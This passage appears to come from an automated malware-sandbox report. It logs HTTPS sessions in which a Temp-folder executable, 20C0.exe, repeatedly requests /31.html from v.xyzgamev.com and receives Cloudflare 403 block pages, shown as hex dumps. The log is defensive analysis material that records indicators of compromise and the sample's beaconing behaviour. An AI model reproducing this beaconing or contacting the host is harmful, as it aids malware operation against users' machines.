7f 6d 18 fc 61 72 b2 70 7c 60 d2 32 ed 39 dc 15 8f 34 c7 9c 3d 34 3c f0 f7 ee 8d 64 5f bf 9b 7d 7b 18 73 c6 c8 65 c2 a4 a9 8d 53 cc 06 85 02 a4 7e Data Ascii: }\|@\{^<&@,jt5LKH)x]hK6;8JNsg6}=lj3\|c&`C1M[Z_yW@0{0FAT]ZVgc~eMIIytJ%55marp\|`294=4<d_}{seS~
2022-08-31 12:28:52 UTC	460	IN	Data Raw: 6e 40 73 74 64 40 40 00 ac 16 40 00 ac 16 40 00 ac 16 40 00 e4 16 40 00 00 00 00 00 2e 3f 41 56 74 79 70 65 5f 69 6e 66 6f 40 40 00 75 98 00 00 73 98 00 00 00 00 00 00 00 00 00 00 d0 a3 40 00 01 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 01 00 00 00 ff ff ff ff 01 00 00 00 ff ff ff ff fd ed dd cd 00 00 00 00 00 00 00 00 ac 16 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 Data Ascii: n@std@@@@@@.?AVtype_info@@us@@
2022-08-31 12:28:52 UTC	476	IN	Data Raw: 80 d0 e1 2e 7f d0 d8 28 83 cf d7 37 88 df e2 3c 89 df d8 34 91 d4 d2 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8a de dd 2c 92 de e5 28 8b d9 d3 2e 92 d2 d9 24 91 d0 cf 38 91 cf d3 32 83 d7 d0 3c 58 71 80 41 2d 7a a1 c3 28 77 80 7b 8f d2 cb 2d 98 d8 d9 37 8c d6 d0 2f 88 d9 ce 30 95 d9 ce 38 91 d0 cb 35 85 ce d3 33 89 e1 d0 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c da c6 2b 91 e4 db 26 8f dc d7 24 7d 90 bb 80 7f 8c 98 44 8d db d8 2b 90 da e0 22 90 d7 d7 25 94 d7 d9 23 8f e0 d9 25 8c d6 dd 2d 96 df df 24 95 d7 e3 29 97 d8 dc 25 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: .(7<4+,(.$82<XqA-z(w{-7/0853-+&$}D+"%#%-$)%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.4	49788	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:19 UTC	4902	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:19 UTC	4902	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:34 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H%2BYTyXeEGNAFcjVNYeDFktegykL4sIlVVFJnI1uQPQPPTVmpn2WfqTHcMiwj%2BwHlgH%2Blzkdmac6wfJsuQ8o0KxCP9Qr%2B97gFF3DfJIp8waq4hGX6UsyHzWdc5BwtiH9nEQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c56518c39b74-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:19 UTC	4903	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:19 UTC	4903	IN	Data Raw: 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 Data Ascii: href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cooki
2022-08-31 12:29:19 UTC	4905	IN	Data Raw: 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 Data Ascii: cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from onli
2022-08-31 12:29:19 UTC	4906	IN	Data Raw: 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: lock sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden
2022-08-31 12:29:19 UTC	4907	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49789	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:19 UTC	4907	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:19 UTC	4907	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:34 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XiNMrXrBX8nDb2UWwtpdijrenp%2BiYPE0AO2%2BtBPL6vDY4pTcAmZm9EHU5943r8%2FFH7mE2AjuRs9c8TCO0IXioMAINSMiXnWQ087YKUo8utYVPBm%2BTqf3n67v%2FyhUmNESuQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c56678c50085-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:19 UTC	4908	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:19 UTC	4908	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:29:19 UTC	4910	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:29:19 UTC	4911	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:29:19 UTC	4912	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49790	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:19 UTC	4912	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:19 UTC	4912	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:34 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9dWz9GsHNPBzgI4%2BeAkli%2FvfLcaY9IX5bhWVuMAs7nci8xagSTL%2Bem7JlWhCuyFDg7MfxPqpzUvoldXleyTKUv12NysEhpaM8Kz8ptAGB5s%2Fpz%2BXpjgIni33yI5%2BeEcbbg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c567abcdbb8f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:19 UTC	4913	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:19 UTC	4914	IN	Data Raw: 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 Data Ascii: ss" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.c
2022-08-31 12:29:19 UTC	4915	IN	Data Raw: 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 Data Ascii: ss="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from
2022-08-31 12:29:19 UTC	4916	IN	Data Raw: 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hi
2022-08-31 12:29:19 UTC	4917	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49792	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:24 UTC	4917	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:24 UTC	4918	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:29:39 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0tlEsVglbvIYtVRmnfuU9rvDHNPe9uiCphmQAtMQ4txBuJXOcnr9xliqGwhc9vBBc85lHCv1aJTMNptnHjc6sea2BVBgI6Zzv0yCMxPrsxDWs8UjDR79x%2BwrRGnV8iUp6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c5864c0172ca-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:24 UTC	4918	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:24 UTC	4919	IN	Data Raw: 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c Data Ascii: /cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabl
